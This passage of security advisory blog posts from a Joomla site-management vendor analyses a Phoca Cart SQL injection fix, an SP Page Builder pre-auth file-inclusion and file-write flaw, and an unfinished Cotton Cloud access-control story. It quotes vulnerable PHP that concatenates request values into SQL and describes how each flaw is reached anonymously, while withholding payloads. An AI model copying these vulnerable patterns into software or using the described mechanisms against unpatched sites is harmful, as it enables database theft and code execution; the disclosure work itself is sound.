curl -sLO https://github.com/PhocaCz/PhocaCart/releases/download/5.2.4/com_phocacart_v5.2.4.zip
unzip -q com_phocacart_v5.2.3.zip -d v523 && unzip -q com_phocacart_v5.2.4.zip -d v524
diff -rq v523 v524

Two files differ. phocacart.xml carries the version bump from 5.2.3 to 5.2.4 and a new creation date, and the rest of its diff is line-ending noise. Everything else is admin/libraries/phocacart/search/search.php.

There is no feature work smuggled in alongside the fix, which makes it a low-risk update to apply. The bundled plugins in the package are untouched and stay at 5.1.1.

The same evening Phoca published 4.0.13, a security release for the Joomla 4 line, and the diff there is the same fix in the same file. The 4.x package differs more broadly, because the component is packaged differently from the 5.x and 6.x builds, but admin/libraries/phocacart/search/search.php carries the identical quoting change. The one structural difference: the 4.x file has four injection points rather than six, because the 4.x line predates the multilingual code path that doubles the count on the newer branches.

How does the Phoca Cart SQL injection work?

The vulnerable code is in PhocacartSearch::getSqlPartsArray(), which builds the SQL for filtering products by attribute or specification. Filter values were pasted directly into the query string inside quotes the code wrote itself:

// Before, in 5.2.3 and 6.1.6: single-quote break-out
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN (' . '\'' . implode('\',\'', $a) . '\'' . '))';

// Before: double-quote break-out
$inAS[$iA] = 'at2.alias = ' . $db->quote($k) . ' AND v2x' . $iA . '.alias = "' . $v2 . '"';

Note that the array key was already going through $db->quote(). Only the values were left raw. The fix pre-quotes the whole array and quotes the scalar:

$aQuoted = [];
foreach ($a as $vQ) {
    $aQuoted[] = $db->quote($vQ);
}

$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN (' . implode(',', $aQuoted) . '))';
$inAS[$iA] = 'at2.alias = ' . $db->quote($k) . ' AND v2x' . $iA . '.alias = ' . $db->quote($v2);

The same change is applied six times, covering the attribute and specification paths in both the "match any" and "match all" filter modes, each duplicated for the multilingual and single-language code paths.

Nothing stands between that concatenation and an anonymous visitor. The front-end product listing model reads both parameters straight from the request:

$this->setState('a', $app->getInput()->get('a', '', 'array')); // Attributes
$this->setState('s', $app->getInput()->get('s', '', 'array')); // Specifications

Joomla's array filter casts the input to an array. It does not sanitise the individual values inside it, so whatever the visitor sends arrives intact at the string concatenation above. The resulting fragment goes into the WHERE clause and the LEFT JOIN of the product listing query. That is a public category or product listing page: no account, no token, no user interaction.

Note on what we did and did not test

This analysis is a read of the published diff and the surrounding source, not a live exploitation attempt. We have not run an injection against any site, and we are not publishing a payload. The vulnerable pattern and its reachability are both plain in code that anyone can download, which is why we are comfortable describing the mechanism while leaving the working request to the imagination.

Which Phoca Cart versions are affected?

Everything before the three fixed releases, on every branch. We extracted the newest package offered to each Joomla generation and checked the same function in each:

Joomla version	Newest Phoca Cart offered	Contains the fix?
Joomla 6	6.1.7	Yes
Joomla 5	5.2.4	Yes
Joomla 4	4.0.13	Yes
Joomla 3	3.5.8	No

The Joomla 4 package, 4.0.13, was published the same evening as the 5.x and 6.x releases, so the Joomla 4 line is patched after all. Only the Joomla 3 package, 3.5.8, still carries the unquoted concatenation, and the Joomla 3 front-end model has the same unfiltered a and s binding. No fixed release exists for the 3.x branch.

CVE-2026-74251, and where its version range is wrong

The Joomla project's CNA published CVE-2026-74251 at 12:51 UTC on 16 August 2026, in the gap between the two morning releases and the evening 4.0.13. It scores the flaw CVSS 4.0 9.3, Critical, on the vector AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, and classifies it as CWE-89. That is the official severity, and it matches what the code does: reachable over the network, no privileges, no user interaction, and high impact on the confidentiality, integrity and availability of the database behind the shop.

The description confirms the mechanism independently of our diff. It names the a[] and s[] GET array parameters on the public shop items page, says they are "concatenated raw into SQL WHERE clauses without parameterization or escaping", and states the consequence as "full database extraction via time-based blind techniques".

Two details in the record did not survive checking, and one of them the Joomla CNA fixed themselves within the hour.

The affected range was originally given as 5.0.0 to 6.1.16, and there is no Phoca Cart 6.1.16. The highest tag ever published on the 6.x line is 6.1.7, which is the release carrying the fix. The last vulnerable 6.x build is 6.1.6. The CNA corrected the record the same afternoon, and it now reads 5.0.0 to 6.1.6, which matches reality on the top end.

The 5.0.0 floor still leaves out the Joomla 4 and Joomla 3 lines. We extracted 4.0.12 and 3.5.8 and found the identical unquoted concatenation in both. The Joomla 4 line now has a patched release, 4.0.13, but the vulnerable 4.0.12 build is outside the stated range, as is 3.5.8 on a branch with no fix at all. A range starting at 5.0.0 reads as an all-clear for exactly the oldest shops.

Act on the 9.3, and treat the version range as narrower than reality. If you are running Phoca Cart below 5.2.4 on the 5.x line, below 6.1.7 on the 6.x line, below 4.0.13 on the 4.x line, or anything at all on 3.x, you are affected.

Why Joomla's updater will not offer the fix to some sites

Phoca's update feed publishes one entry per Joomla generation, each gated by a targetplatform regex:

<version>5.2.4</version>  <targetplatform name="joomla" version="5\.*"/>
<version>6.1.7</version>  <targetplatform name="joomla" version="6\.*"/>

Joomla's extension update adapter matches that regex against the running Joomla version:

$product == $this->currentUpdate->targetplatform['NAME']
&& preg_match('/^' . $this->currentUpdate->targetplatform['VERSION'] . '/', JVERSION)

A Joomla 5.4.7 site therefore only ever sees the 5.2.4 entry. The 6.1.7 entry is discarded before any version comparison happens. Then Updater::findUpdates() checks that the offered version is actually newer than what is installed, using a gt comparison:

if (version_compare($current_update->version, $data['version'], $operator) == 1) {
    $current_update->extension_id = $eid;
    $retVal[] = $current_update;
}

With 5.2.4 offered and 6.1.5 installed, version_compare('5.2.4', '6.1.5', 'gt') is false. No update row is created. The site reports nothing to update.

So a Joomla 5 site running Phoca Cart 6.x is stranded on a vulnerable version while its update screen looks clean. The extension never appears in the update list at all, and an empty update list is indistinguishable from a patched site. No warning, no flag, no clue that anything is outstanding.

Warning

If you run Joomla 5 with Phoca Cart 6.x, an empty update list is not evidence you are patched. Check the installed Phoca Cart version directly under System, Manage, Extensions, and compare it to 6.1.7 by eye.

Phoca Cart 6.x installs and runs on Joomla 5 perfectly well, which is how these sites got into this state in the first place. There is no Joomla version gate in the installer, so the manual fix works: download the 6.1.7 package and install it through Extensions, Install, Upload Package File.

Phoca has since confirmed the behaviour is deliberate. The morning after the release, in the Joomla community chat's 3rd Party Extension Updates channel, an agency reported a customer running Phoca Cart 6.1.5 on Joomla 5.4.7 who could not see the update. Jan Pavelka, Phoca Cart's author, answered:

Yes, this is expected behavior, the latest Phoca Cart 5 is offered for Joomla 5, Joomla 5 does not expect Joomla 6 extensions to run on it. So just install [the 6.1.7 package].

So the feed is working as intended and nobody is going to change it. A Joomla 5 site running Phoca Cart 6.x is expected to be updated by hand, and the empty update screen is the designed outcome.

Phoca also recommends the configuration that produces it. Asked in the same channel whether the 5.x line had a security release too, Pavelka pointed to 5.2.4 and added that "it is recommended to use Phoca Cart 6 on Joomla 5". That makes the recommended setup for a Joomla 5 shop the one setup Joomla's updater will never service. Follow the advice and every future Phoca Cart security release reaches the site only if a human goes looking for it.

The Joomla 4 feed entry briefly had a quirk of its own. When 4.0.13 was published, the update feed's Joomla 4 entry still declared version 4.0.12 while its download URL pointed at the 4.0.13 package, so a site running exactly 4.0.12 was not offered it, because version_compare('4.0.12', '4.0.12', 'gt') is false. Phoca corrected the feed the same day, and the entry now declares 4.0.13. Sites below 4.0.12 get offered and install the 4.0.13 package normally.

The Joomla 4 line is patched, but only if you go and get it

Joomla 4 sites are offered Phoca Cart 4.0.13, which we confirmed contains the fix. The update feed declares the version correctly, so the updater behaves: any Joomla 4 site on 4.0.12 or lower is offered 4.0.13 and installs it from the update screen. There is no manual step on this branch.

Phoca's own README is candid about which branches it considers finished. As of the 6.1.7 tag it labels the 3.x, 4.x and 5.x lines "no longer supported", listing 3.5.8, 4.0.12 and 5.2.4 against them, with only 6.x unqualified. So Phoca backported this fix to three branches it has already declared unsupported, and not to the oldest one. That is a defensible line to draw, and better than nothing, but the news item goes further and recommends against staying on any of them: "The only correct approach is to use the latest version of Joomla 6 and Phoca Cart 6."

Joomla 4 itself has been out of support for a while: bug-fix support ended in October 2024 and security support in October 2025, and the 4.x series no longer appears on Joomla's roadmap at all. A Joomla 4 shop therefore has a patch to install in the short term, and a migration to plan in the medium term, because it is running an unsupported CMS with a shopping cart whose developer is pointing everyone at the newest branch.

How the affected Joomla sites break down

Of the Phoca Cart installs visible across the Joomla sites we manage:

Not one was on a fixed version. Every install we can see predates 5.2.4, 6.1.7 and 4.0.13, which is expected on release day and is why the update path matters
About two-thirds will be offered a fixed release normally by Joomla's updater and can be patched from the update screen
About a third are Joomla 5 sites running Phoca Cart 6.x. These get offered a lower version, so their update screens show nothing at all
A handful are Joomla 4 sites, which are offered the fixed 4.0.13 release normally by the updater

That means roughly a third of the Phoca Cart installs we can see cannot get this fix through Joomla's own updater, and none of them will be told they are missing it. If you manage Joomla shops and your process is "check the update screen, apply what is listed", that process misses close to a third of the affected sites here and gives you a clean bill of health while doing it.

The SQL injection itself is an ordinary bug, competently fixed, in a tightly scoped release. Getting that fix onto the sites that need it is the harder half of the job.

How do I find every Phoca Cart install across my Joomla sites?

The check you need is not "what version of Phoca Cart is this" on its own. It is the extension version and the Joomla version together, because the pair is what decides whether the updater will do anything.

mySites.guru lists every extension across every connected site, so you can search for Phoca Cart once and get back every site running it with its version, alongside the Joomla version for that site. That turns a site-by-site login into a single search. It is part of the subscription rather than a free lookup tool, and if you already manage a batch of Joomla sites it is the difference between knowing which shops are stranded and guessing.

For this specific release, the triage is:

Find every site running Phoca Cart, with its Joomla version
Joomla 6 sites below 6.1.7, and Joomla 5 sites below 5.2.4 on the 5.x line: update from the Joomla update screen
Joomla 5 sites running any 6.x version: download 6.1.7 and install it manually, because the updater will not offer it
Joomla 4 sites on 4.0.12 or lower: update from the update screen, which offers 4.0.13 normally
Joomla 3 sites: no fix exists, so plan the migration or drop the extension

If a site turns out to have been running a vulnerable version on a public shop for a long time, updating closes the hole but tells you nothing about what happened before. If you need someone to go through a site properly, fix.mysites.guru is a fixed fee of £120 per incident, screened first so you are not charged if it cannot be fixed.

Did mySites.guru find this one?

No. This is Phoca's own security release. We had no involvement in finding it, no involvement in reporting it, and we learned about it the same way anyone else could, by reading a published diff after the packages went out. Phoca's release notes credit the report to Toan Le, an external researcher, which the news item matches when it promises a detailed report from an external source.

We say so because we have published a run of Joomla extension SQL injection disclosures this year that we did find, including AcyMailing, DPCalendar and EasyStore, and this post sits close enough to those to be mistaken for one. Credit here belongs to Toan Le for finding it and Phoca for fixing it. We have reported a separate flaw in Phoca Download in the past, which Jan Pavelka fixed the same day, so our experience of Phoca acting quickly on a security report is first hand.

CVE-2026-74251 names no finder, while Phoca's own release notes do. The Joomla CNA does credit researchers when there is one to credit, so an empty credits field here is likely a data entry gap in the record rather than a signal that nobody reported it.

Severity

9.3 CVSS 4.0

Critical The Joomla CNA's score for CVE-2026-74251

Reachable over the internet on a public shop page with no account, no token and no user interaction. The CNA scored confidentiality, integrity and availability all high, because the injection sits inside a WHERE clause the attacker controls outright rather than in a value the query merely reads. The 5.x, 6.x and 4.x lines have a patched release. The 3.x line carries the same code with nothing to update to.

No login needed Public shop page Full database read Password hashes exposed No fix on Joomla 3

Field	Detail
Extension	Phoca Cart for Joomla (`com_phocacart`)
Vendor	Phoca, Jan Pavelka (phoca.cz)
Type	Unauthenticated SQL injection (CWE-89) through the `a[]` attribute and `s[]` specification filter parameters
CVE	CVE-2026-74251, published by the Joomla CNA at 12:51 UTC on 16 August 2026
CVSS 4.0	9.3 (Critical), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` (the Joomla CNA's score)
Vulnerable file	`admin/libraries/phocacart/search/search.php`. Six injection points on the 5.x/6.x lines, four on the 4.x line, all now passed through `$db->quote()`
Impact	Anonymous read of any table in the shop's database, including customer records and password hashes, by time-based blind extraction
Finder	Toan Le, an external researcher credited in Phoca's 6.1.7 release notes. The CVE record credits nobody, and this is not a mySites.guru finding
Affected versions	Every release below 5.2.4 on the 5.x line, below 6.1.7 on the 6.x line and below 4.0.13 on the 4.x line, plus the whole of the 3.x branch. The CVE record stated 5.0.0 to 6.1.16 at first, corrected same-day to 5.0.0 to 6.1.6; the 5.0.0 floor still omits the Joomla 4 and Joomla 3 lines
Fixed in	5.2.4 (Joomla 5 line), 6.1.7 (Joomla 6 line) and 4.0.13 (Joomla 4 line), all released 16 August 2026. No fixed release on the 3.x branch

Unauthenticated Remote Code Execution in SP Page Builder found by mySites.guru

phil@mysites.guru (Phil Taylor) — Wed, 12 Aug 2026 13:00:00 GMT

SP Page Builder is JoomShaper's drag-and-drop page builder for Joomla, one of the most widely installed page builders in the ecosystem. We have reported issues in it before: the June 2026 unauthenticated icon-upload zero-day fixed in 6.6.2, and a round of four vulnerabilities including a pre-auth SQL injection and an open mail relay, fixed in 6.7.1. This is the one that makes those look tame. In SP Page Builder 6.7.1, the release that fixed our previous reports, mySites.guru found a pre-authentication remote code execution flaw, plus a second unauthenticated file-write issue on the same endpoint. Both were reported to JoomShaper before any public detail, and both are fixed in SP Page Builder 6.8.0, released on 12 August 2026. We re-tested the released package the same day to confirm the fixes hold.

If you run SP Page Builder on any Joomla site, update to 6.8.0 now. If you manage more than a handful of sites, read on for how to find every affected one at once.

TL;DR

mySites.guru found a pre-authentication remote code execution flaw in SP Page Builder, and reported it privately to JoomShaper
Unauthenticated PHP file inclusion (CVSS 4.0 9.3, Critical). The Dynamic Content "load more" endpoint renders an addon definition taken straight from the request. The addon name is concatenated into a file path with no traversal check, then included and run as PHP. It is protected only by a CSRF token, which Joomla hands to every anonymous visitor, so it is effectively pre-auth. An attacker can make the site execute a PHP file from anywhere the server can read, inside the web root or outside it
Unauthenticated arbitrary file write (CVSS 4.0 Medium). The same endpoint lets an attacker set an addon id that becomes a filesystem path, so an anonymous request could create a directory and write a file outside the cache folder
The flaw sits in the method directly below the one JoomShaper hardened in 6.7.1, which is why 6.7.1, our previous fix, is itself vulnerable
Update to SP Page Builder 6.8.0 immediately
Reported privately on 27 July 2026, fixed in 6.8.0 on 12 August 2026, 16 days later. We re-tested the released package the same day and confirmed both issues are closed
The fix did not ship on its own. It arrived bundled with 6.8.0, a planned feature release, rather than as an immediate point release
The Joomla CNA published CVE-2026-67285 (the file inclusion) and CVE-2026-67286 (the file write) on 12 August 2026
The endpoint itself is still unauthenticated in 6.8.0. The two sinks we reported are fixed, but it still renders an addon definition sent by the visitor
mySites.guru already flags every connected Joomla site still running a vulnerable version

mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We are withholding the exact requests and any proof-of-concept until enough sites have updated. This is how we handle every vulnerability we find: fix first, publish second.

The worst one: an anonymous request that runs your code

SP Page Builder's Dynamic Content feature renders lists of content, articles, tags and custom collections. When a visitor asks for more items, a front-end endpoint returns the next page of them. To do that, the endpoint takes an addon definition, supplied in the request body itself, and renders it server-side.

Rather than loading the saved addon from the page a visitor is looking at, the endpoint trusts a complete addon tree the caller hands it, and one of the things an addon carries is its name. The name is used to locate the addon's code on disk, by pasting it into a file path, and that path is then included and executed as PHP. Nothing strips or rejects ../ from the name, so the name is a free path. An addon "named" a traversal string points the include anywhere on the filesystem, and Joomla runs whatever site.php it finds there.

The only thing standing in front of the endpoint is a CSRF token check, and, as with the SQL injection we reported last week, that is not the barrier it looks like. Joomla issues a valid token to every visitor, anonymous ones included, the moment they load any page. A scripted attacker fetches a token and sends it back, so in practical terms this is pre-authentication code inclusion. The one precondition is that the collection being rendered returns at least one item, because the include happens inside the per-item loop, and the default articles collection satisfies that on any site with a single published article.

We confirmed it on our own SP Page Builder test install. We placed a harmless marker PHP file, made the unauthenticated request that pointed the include at it, and the marker's output came back at the top of the HTTP response, proving the file ran as PHP inside the application. We then placed a second marker outside the web root entirely and it executed the same way, confirming the traversal is not confined to the site's own folder. We did not run any harmful code.

On its own this runs PHP from a path of the attacker's choosing. It becomes full remote code execution the moment any attacker-influenced PHP file exists somewhere the server can read: a file-write flaw in any other extension, an upload that keeps the original filename, a low-privilege account, a neighbouring account on shared hosting, or a leftover backup or staging folder. On a busy shared host that is a low bar. Treat any site that ran a vulnerable version as potentially compromised until checked.

The second one: an anonymous request that writes to your disk

Because the same endpoint renders a caller-supplied addon tree, every addon's rendering code becomes a public endpoint driven by attacker-chosen settings. Most addons just draw HTML. Some touch the filesystem. The Flickr addon builds a cache path from the addon's id, then creates that directory and writes a file into it. The id, like the name, comes straight from the request and is never checked.

Setting the id to a traversal string, an anonymous request creates a directory and writes a file well outside the intended cache folder. On our test install it created the directory and wrote a 31 KB file where it should not have been able to. The impact here is narrower than the code execution above: the filename is fixed, so this is not code execution by itself and it does not chain into the first issue. What it does give an unauthenticated attacker is directory creation anywhere the web user can write, the ability to overwrite that specific cache file, disk exhaustion, and forced outbound requests to a third-party API with a query string they control.

Both issues share one cause: the endpoint trusts an addon definition supplied by the visitor rather than loading it from the saved page. Fixing the traversal alone would leave that pattern in place, and every addon with a filesystem or network side effect would stay exposed. Flickr is simply the one we found with a write.

Why the last fix did not cover this

SP Page Builder 6.7.1 was the release that fixed the four issues we reported the week before, among them a pre-authentication SQL injection in the Dynamic Content controller. The 6.7.1 fix hardened that specific method: it added a permission check and an allow-list, with a code comment naming the SQL injection it was closing.

The endpoint in this report sits directly below that method, in the same file, and received neither the permission check nor any input hardening. The area was clearly on the developers' radar when they patched the method above it. That is why a site diligently updated to 6.7.1, the fix for the previous round, is exposed to something worse. The lesson, for any maintainer, is that when you find one unauthenticated flaw in a controller it is worth auditing the whole controller, not just the reported method.

What 6.8.0 actually changed

We tested the released 6.8.0 package the day it shipped, re-running both proof-of-concept requests against a clean install. Both are closed, and the fixes are the right ones for the two sinks we reported:

The addon name is now checked against an allow-list of plain directory names before it is used to build a path, and the include is additionally guarded by a file-existence check. Our traversal payload renders an empty item instead of executing the planted file.
The addon id is stripped of anything outside A-Z a-z 0-9 _ - before it reaches the filesystem, so the Flickr write can no longer escape the cache folder.

One thing did not change. The endpoint still has no authorisation check. It is still reachable by any anonymous visitor holding the CSRF token Joomla gives away, and it still renders an addon definition supplied in the request. 6.8.0 edited that same controller six times, adding an extra permission check to six other methods in the file, and left this one as it was. The two doors we reported are bolted; the corridor they open onto is unchanged.

That matters for what comes next rather than for whether you should update. You should update, today. But the pattern that produced both of these findings, trusting a component definition sent by the visitor, is still how the endpoint works, and every addon with a filesystem or network side effect is still reachable through it with attacker-chosen settings.

The release notes do not tell you any of this

Here is the entire mention of this vulnerability in the SP Page Builder 6.8.0 release notes:

Hardened input validation, file handling, and access checks across the component.

That is it. One line, filed under "Updates", sitting below "Added Copy, Paste, and Paste Style support for addons inside the Table addon" and above nothing at all. A pre-authentication remote code execution flaw, present in every release since 5.5.0, reachable by anyone on the internet with no login, is announced to users in the same register as a clipboard feature.

Judge for yourself. This is the entire 6.8.0 release note:

The release notes do not say "security release". They do not say "critical". They do not give a severity, a CVSS score, a CVE, or a hint that any of this is urgent. They do not say that a site left on 6.7.1 can be made to execute an attacker's PHP. There is no "update immediately" anywhere on the page. A site owner reading that changelog over coffee has no way to tell this apart from a maintenance release, and will quite reasonably schedule it for whenever they next do updates.

What makes it worse is that JoomShaper clearly knows how to write a security changelog entry, because two lines further down, under "Fixes", they do exactly that:

Fixed an unauthenticated SQL injection in the article loading endpoint.

Fixed a broken access control issue in the Comment addon that allowed guests to post comments while anonymous comments were disabled.

Both of those are named, scoped and honest. So the vagueness applied to the two issues in this article is not a house style or a limitation of their changelog format. Those two got a plain-English description; ours got "hardened input validation". The most severe bug in the release is the most vaguely described one in the release notes, and it is not credited to anyone.

We have written before about what a security changelog entry owes the people running your code. The short version: say what class of flaw it was, say which versions were affected, say whether it needs urgent action, and name the researcher. None of that is difficult, and all of it changes whether a busy administrator patches today or next month. Vague release notes do not protect users from attackers. Attackers diff the release. Only the defenders are left guessing.

Credit where it is due, though not to the vendor. The Joomla Security Strike Team assigned CVE-2026-67285 and CVE-2026-67286 to these two issues within hours of the release, and went back and updated the credits on the earlier SP Page Builder CVEs so that mySites.guru is named there too. That is the ecosystem's security team doing the vendor's job for them, and doing it properly.

The fix waited for the feature release

JoomShaper acknowledged both issues on the day we reported them, 27 July, and confirmed a fix was in progress. That fix reached site owners sixteen days later, on 12 August, as part of SP Page Builder 6.8.0. There was no 6.7.2 in between.

Look at what else 6.8.0 carries: multilingual page support for EasyStore, multiple recipient emails in the Form Builder, clearing page hits from the editor menu, labels on Dynamic Content pages, improved AcyMailing compatibility, copy and paste inside the Table addon. That is a planned feature drop, months in the making, and the vendor's own announcement opens by calling it "packed with exciting new features and improvements". The patch for a pre-authentication remote code execution flaw travelled along with it.

An allow-list on a directory name and a sanitiser on an id did not need to wait for multilingual EasyStore pages. They could have gone out as 6.7.2 the same week, on their own, with a release note saying what they were for. Instead every SP Page Builder site on the internet stayed exposed for sixteen days to a flaw the vendor already knew about, so that the fix could arrive on the feature release's schedule.

Sixteen days is not a scandal in isolation. Plenty of vendors take considerably longer, and JoomShaper answered within hours and fixed both sinks properly when they did. The problem is the coupling. Once a security fix is tied to a feature release, the date it reaches users is decided by whatever else is in the box, by QA on multilingual storefronts and clipboard support in table addons, and that is exactly backwards for the one class of change that should never wait for anything.

The 6.8.0 announcement is worth reading for what it does cover. It gives the unauthenticated SQL injection in the article loading endpoint a dedicated "Security Enhancement" section: affected versions, the fixed version, a CVE, the CWEs, step-by-step upgrade instructions, and a credit to the researchers who reported it, ourselves included. That is a good vendor security note, and it shows the standard JoomShaper is perfectly capable of meeting. The file inclusion and the file write described in this article appear nowhere on that page.

Which versions are affected?

The vulnerable code is present in SP Page Builder 6.7.1, the current release when we reported this, and from our testing in every version back to 5.5.0, where the Dynamic Content feature was introduced. The relevant files are byte-for-byte identical across 6.6.2, 6.7.0 and 6.7.1, so this is not a 6.7.1 regression, it is long-standing. JoomShaper fixed it in SP Page Builder 6.8.0.

If you run any version of SP Page Builder earlier than 6.8.0, assume your site is affected and update now. The code execution needs no login, so if the site is online, the endpoint is reachable.

How do you update SP Page Builder safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup first.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull SP Page Builder 6.8.0. If you manage more than one site, use the mySites.guru mass update feature to upgrade SP Page Builder across every affected site from one dashboard.
Confirm the version. After updating, check SP Page Builder reports 6.8.0 or later.
Clear caches. Clear Joomla's cache and any CDN or page cache.

Because this is a code-execution flaw, updating closes the door but does not undo anything an attacker may already have done while it was open. If a vulnerable version was live and internet-facing for any length of time, treat the site as potentially compromised: check for unexpected files and admin users, rotate the Joomla secret and any stored credentials, and restore from a known-good backup if anything looks wrong.

How do I find every SP Page Builder site I manage?

Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view. mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for SP Page Builder once and get back every connected site running it, the version each one is on, and whether an update is available.

View every SP Page Builder install across your sites

Open your Extension Inventory

Search for SP Page Builder across every connected Joomla site and filter for anything earlier than 6.8.0. Not a subscriber? Sign up free and connect your sites.

Why page builders keep producing this

Page builders make attractive targets for the same reason they are useful: they render content through front-end endpoints that anonymous visitors are meant to reach. An element that loads more items, a contact form that accepts a submission, none of it can require a login, because the whole point is that visitors use it. Every one of those public endpoints is attack surface, and when the code behind them trusts request input, an anonymous visitor becomes an anonymous attacker. This flaw is the sharp end of that: the endpoint trusted not just a value but an entire component definition from the request, and one field in it decided which PHP file to run.

The same shape has shown up across the ecosystem this year, from PageBuilder CK to Quix and the wider month of Joomla disclosures. Page builders are worth using. The ones that accept input from anonymous visitors simply need updating the moment a fix exists, which makes these updates security-critical rather than feature maintenance.

Stay ahead of the next one

There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Want the alerts and the tooling to act on them? Start with a free audit on one site and see your full extension inventory, or sign up for mySites.guru to get vulnerability alerts and one-click updates across every site you manage.

Disclosure and severity

The headline finding is an unauthenticated PHP local file inclusion (CWE-98, path traversal per CWE-22) reachable over the network, gated only by a CSRF token that Joomla issues to everyone. It yields execution of PHP from an attacker-chosen path and, given any writable-and-readable site.php, full remote code execution. The second finding is an unauthenticated arbitrary directory creation and file write (CWE-22), bounded by a fixed filename.

We score every issue under CVSS 4.0. The file inclusion comes out at 9.3, Critical: no privileges, no user interaction, network reachable, with a full compromise of confidentiality, integrity and availability once code runs.

9.3 CVSS 4.0

Critical Unauthenticated PHP file inclusion, pre-auth code execution

Reachable over the internet with only the CSRF token Joomla hands to every visitor. Runs PHP from an attacker-chosen path, inside or outside the web root, and becomes full remote code execution given any writable PHP file.

No login needed Exploitable over the internet Code execution Traversal beyond web root

Each finding, scored under CVSS 4.0:

Finding	CVE	Vector (`CVSS:4.0/...`)	Score	Severity
Unauthenticated PHP file inclusion (pre-auth RCE)	CVE-2026-67285	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`	9.3	Critical
Unauthenticated arbitrary directory create / file write	CVE-2026-67286	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`	6.9	Medium

Field	Detail
Component	SP Page Builder for Joomla (`com_sppagebuilder`)
Vendor	JoomShaper (joomshaper.com)
Type	Unauthenticated PHP local file inclusion via path traversal, pre-auth RCE (CWE-98 / CWE-22); unauthenticated arbitrary directory creation and file write (CWE-22)
CVSS 4.0	9.3 (Critical) file inclusion; 6.9 (Medium) file write
CVE	CVE-2026-67285 (the file inclusion) and CVE-2026-67286 (the file write), published by the Joomla CNA on 12 August 2026
Impact	Unauthenticated execution of PHP from an arbitrary filesystem path, full remote code execution given any writable PHP file; unauthenticated directory creation and file write outside the cache folder
Finder	Phil Taylor, mySites.guru
Affected versions	6.7.1 and earlier; vulnerable code present from 5.5.0
Fixed in	SP Page Builder 6.8.0
Reported	27 July 2026 (privately to JoomShaper, Joomla security team CC'd)
Acknowledged	27 July 2026 (JoomShaper confirmed both issues, fix in progress)
Pre-release build supplied for testing	12 August 2026
Fixed	12 August 2026, in SP Page Builder 6.8.0
Fix verified by mySites.guru	12 August 2026, against the released 6.8.0 package
Time to fix	16 days

Cotton Cloud Patched the Login, Then the Data

phil@mysites.guru (Phil Taylor) — Wed, 12 Aug 2026 12:00:00 GMT

Cotton Cloud is a database-backed file storage system for Joomla. It ships as a package of six extensions and gives each user a private cloud drive inside the site: upload files, organise them into folders, edit text files in the browser, share them by link, and drive the whole thing from an AI-assisted terminal with about forty commands behind it.

In August 2026 mySites.guru found that every front-end endpoint in Cotton Cloud 2.0.1 was reachable by a visitor who had never logged in, and that from there they could read, overwrite, delete and re-permission every file any user had stored. We reported it privately. The developer shipped 2.0.2, then 2.0.3.

It took two releases, because the first one fixed one half of the report.

This post is about the half that was missed, about why that half is the half that always gets missed, and about how a fix can look completely correct in the diff and never execute once. That last part is where AI-assisted development comes in, even if you have never heard of this extension. Cotton Cloud 2.0.3 closes both halves, and if you run it that is the version you want.

TL;DR

Cotton Cloud 2.0.1 had two separate access control failures, reported together on 1 August 2026
Missing authentication. Every front-end task was gated by a CSRF token alone. Joomla hands those to guests, so an anonymous visitor could call all of them. This is CVE-2026-67283, CVSS 4.0 6.9 medium, fixed in 2.0.2
Missing authorisation. The by-id database accessors fetched files and folders by numeric id with no check that the id belonged to the caller. This is CVE-2026-67284, CVSS 4.0 5.3 medium, fixed in 2.0.3
2.0.2 fixed the first and not the second. The flaw stopped being anonymous and became exploitable by any registered user, which on a site with open signup is not much of a barrier
2.0.2 did contain an ownership check for the second half. It was added to a method nothing in the package calls, so it never executed. It read as a finished fix in the diff
2.0.3 closed the authorisation half properly, with ownership checks through the model layer and a new assertion layer in front of the terminal and MCP surface
Update to 2.0.3. Treat 2.0.2 and everything before it as vulnerable
Both CVEs credit the finder, and the fix rounds were handled the way you would want a vendor to handle them

mySites.guru discovered this issue and reported it privately before publishing anything. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. That included holding this post back through an incomplete fix, because publishing "this is fixed" while it is not is worse than publishing nothing.

What Cotton Cloud got right

Start here, because parts of what follows are critical.

The developer engaged. After a slow start he replied, took the report seriously, shipped releases, and asked for further review each time. Plenty of vendors never reply at all. We have written about a vendor whose changelog said "Security Update" and nothing else, and about nineteen extension vulnerabilities we disclosed in a single month, so a developer who answers, ships, and then asks you to check his work is well ahead of the field.

The 2.0.2 fix for the authentication half is done the right way. Every task in both components gained a proper identity check:

$currentuser = Factory::getApplication()->getIdentity();

if (!$currentuser->get("id") || !Session::checkToken()) {
    echo new JsonResponse(null, Text::_('JINVALID_TOKEN'), true);
    return;
}

That is correct. getIdentity() returns a user object with id 0 for a guest, PHP short-circuits the ||, and the request is refused before any logic runs. It was applied consistently across all twenty-one tasks in the file manager plus both entry points of the terminal component. Nothing was half-applied and nothing was missed. We verified it: an anonymous request that worked against 2.0.1 is refused by 2.0.2, and still is in 2.0.3.

2.0.2 also fixed something we had raised as a side issue. The 2.0.1 package shipped as 2.0.1 while every constituent manifest inside it declared <version>2.0.0</version>, which breaks version reporting for anyone trying to work out what they are running. Every manifest in 2.0.3 now carries the right number.

So: a developer who replied, fixed the authentication half cleanly, and came back and fixed the authorisation half. The problem is the gap in between, and that gap is the interesting part.

The half that was left in 2.0.2

Our report described two root causes, in two separate paragraphs, with the second one spelled out by name:

